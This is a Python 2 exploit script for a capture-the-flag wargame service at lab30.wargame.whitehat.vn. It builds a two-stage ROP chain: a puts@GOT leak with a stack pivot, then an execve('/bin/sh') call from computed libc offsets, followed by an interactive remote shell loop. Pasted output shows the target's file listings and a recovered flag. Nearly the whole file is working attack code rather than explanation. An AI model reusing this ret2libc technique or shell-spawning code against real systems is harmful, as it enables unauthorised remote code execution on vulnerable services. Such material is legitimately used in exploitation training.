import struct
import socket
import time

def p(a):
	return struct.pack("<Q", a)

def u(a):
	return struct.unpack("<Q", a)[0]

def recv_until(sock, s="\n"):
	res = ""
	while 1:
		res += sock.recv(1)
		if res.endswith(s):
			break
	return res

s = socket.create_connection(('lab30.wargame.whitehat.vn', 7002))
#s = socket.create_connection(('localhost', 4444))

puts_got = 0x601018
puts_plt = 0x4005d0
read_plt = 0x4005f0

system_off = -0x297f0 # 0x46640
sh_off = 0x10ceab

pop_rdi = 0x00400b43 #: pop rdi ; ret  ;  (1 found)
pop_rsi_ = 0x00400b41 #: pop rsi ; pop r15 ; ret  ;  (1 found)
pop_rbp = 0x00400685 #: pop rbp ; ret  ;  (1 found)
leave = 0x00400795 #: leave  ; ret  ;  (1 found)
buf = 0x6010A0

main = 0x4009E3 #before first print


stage1 = p(0xDEADBEEF)
stage1 += p(pop_rdi)
stage1 += p(puts_got)
stage1 += p(puts_plt)
stage1 += p(pop_rbp)
stage1 += p(buf+56) 
stage1 += p(leave) # mov rsp, rbp; pop rbp; ret
stage1 += p(buf)
stage1 += p(main) #replay

name = stage1

raw_input("gdb")
s.send(name.ljust(1023, "\x00"))
s.send("128\n")
s.send("1\n")

for i in list(range(128)): 
	s.send(str(buf) + "\n")

recv_until(s, "]\n")
leak = recv_until(s, "\n").replace("\n", "").ljust(8, "\x00")
leak = u(leak)

system = leak + system_off
sh = leak + sh_off 
pop_rdx = leak - 0x6e2a2
execve = leak + 0x51500

print "[+] puts@got: " + hex(leak)
print "[+] execve: " + hex(execve)
print "[+] /bin/sh: " + hex(sh)
print "[+] pop rdx; ret: " + hex(pop_rdx)

#### stage 2 #####

stage2 = "A"*64 # seip from read(), see gdb
stage2 += p(pop_rdi)
stage2 += p(sh)
stage2 += p(pop_rdx)
stage2 += p(0)
stage2 += p(pop_rsi_)
stage2 += p(0)*2
stage2 += p(execve)

name = stage2

s.send(name.ljust(1023, "\x00"))
s.recv(1024)
time.sleep(1) #/bin/id => forbidden

print "\n\n"
while 1:
	s.send(raw_input("shell> ") + "\n")
	print s.recv(4096)
	time.sleep(0.2)


""" ls -la
total 104
drwxrwxr-x+  22 root   root  4096 Jul 18 09:23 .
drwxrwxr-x+  22 root   root  4096 Jul 18 09:23 ..
drwxr-xr-x    2 root   root  4096 May  5 14:48 bin
drwxr-xr-x+   3 root   root  4096 May 19 15:53 boot
drwxr-xr-x+  13 root   root  3800 Jul 17 15:14 dev
drwxrwxr-x+  97 root   root  4096 Jul 21 16:17 etc
-r--------    1 pwn001 root    51 May  5 15:43 flag
drwxr-xr-x    7 root   root  4096 Jul 21 17:06 home
lrwxrwxrwx    1 root   root    33 May 19 15:52 initrd.img -> boot/initrd.img-3.13.0-52-generic
lrwxrwxrwx    1 root   root    33 Aug 13  2014 initrd.img.old -> boot/initrd.img-3.13.0-33-generic
drwxr-xr-x   21 root   root  4096 May  5 14:56 lib
drwxr-xr-x    2 root   root  4096 May  5 13:39 lib64
drwx------    2 root   root 16384 Aug 13  2014 lost+found
drwxr-xr-x+   2 root   root  4096 Aug 13  2014 media
drwxr-xr-x+   2 root   root  4096 Apr 11  2014 mnt
-rw-r--r--    1 root   root   399 Aug 26  2014 my_ssh_key
-rw-r--r--    1 root   root   451 Aug 26  2014 my_ssl_key
drwxr-xr-x+   2 root   root  4
096 Aug 13  2014 opt
drwxr-xr-x  101 root   root     0 Jul 17 15:14 proc
drwx------    3 root   root  4096 Jul 21 17:00 root
drwxr-xr-x+  19 root   root   700 Jul 23 13:48 run
drwxr-xr-x+   2 root   root 12288 May  5 13:40 sbin
drwxr-xr-x+   2 root   root  4096 Aug 13  2014 srv
dr-xr-xr-x   13 root   root     0 Jul 17 15:14 sys
drwxrwxrwt+   2 root   root  4096 Jul 25 17:39 t
mp
drwxr-xr-x+  10 root   root  4096 Aug 13  2014 usr
drwxr-xr-x+  13 root   root  4096 Jan  9  2015 var
lrwxrwxrwx    1 root   root    30 May 19 15:52 vmlinuz -> boot/vmlinuz-3.13.0-52-generic
lrwxrwxrwx    1 root   root    30 Aug 13  2014 vmlinuz.old -> boot/vmlinuz-3.13.0-33-generic

"""

""" ls -la /home
total 28
drwxr-xr-x   7 root    root    4096 Jul 21 17:06 .
drwxrwxr-x+ 22 root    root    4096 Jul 18 09:23 ..
drwx------   2 pwn001  root    4096 May  7 10:32 pwn001
drwx------   2 pwn002  root    4096 May 19 11:42 pwn002
drwx------   3 pwn003  pwn003  4096 Jul 21 17:01 pwn003
drwxr-xr-x   4 tungpun tungpun 4096 Jul 21 17:04 tungpun
drwxr-xr-x   4 ubuntu  ubuntu  4096 Jul 23 13:48 ubuntu
"""

"""cat /home/pwn002/fag
WhiteHat{456d6c0eaa6ab993a547389e40c3e9e5c6f188f9}
"""